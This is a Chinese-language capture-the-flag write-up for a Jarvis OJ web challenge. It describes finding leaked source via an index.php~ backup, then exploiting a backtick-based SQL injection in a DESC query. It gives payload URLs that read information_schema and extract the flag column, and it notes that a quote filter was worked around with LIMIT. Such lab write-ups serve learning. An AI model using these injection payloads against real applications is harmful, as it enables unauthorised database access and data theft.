原题:http://web.jarvisoj.com:32794/
给了一条提示先找到源码,几种常见的源码泄露方式都试一边。最后在提交 http://web.jarvisoj.com:32794/index.php~ 发现源码。
1.分析desc `secret_{$table}` 和select 'flag{xxx}' from secret_{$table} 存在注入
但是desc `flag union select 123`无法通过,想办法使后者成为表即可通过验证。
这里要注意:不是用的引号而是用的反引号,这是为什么呢?--!有猫腻
百度了一下反引号和引号的区别:
一、反引号输出字符串a'aa:select 'a\'aa' ;
在本地MySql上实验了一下,发现:
desc `flag` `aaa`; 只要前者表存在,该语句是能执行的
desc 'flag' 'aaa'; 但是单引号却不能执行,这可能就是出题人要考察的吧
desc flag aaa; 显示效果同上,大概猜测反引号是来确定表的,而后边的字符串可能被识别成前表的别名,如同与如下语句
select * from user aaa join passwd where aaa.id = 1;
等同于
select * from `user` `aaa` join passwd where aaa.id = 1;
既然如此,,,,,,,嘿嘿,就简单了
构造desc `test` ` union select 123` 如果test表使存在的这个命令使可以执行的,相当于将表test重命名为后面的表名。最终的显示结果会只显示一条,可以用limit实现跳跃,最后的联合查询payload:
查库:http://web.jarvisoj.com:32794/?table=test`%20%20`union%20select column_name from information_schema.tables %20limit%201,1
注意:在这里卡了好久,原本是想利用查库名方式得语句来构造payload,结果在where table_name="secret_flag"时发现引号被waf,单引号一直不能通,干脆就不加where条件,打算用limit一条条查,幸好第一条就是藏flag得字段,,,(lll¬ω¬)
查值:
http://web.jarvisoj.com:32794/?table=test`%20%20`union%20select group_concat(flagUwillNeverKnow) from secret_flag %20limit%201,1
getflag:flag{luckyGame~}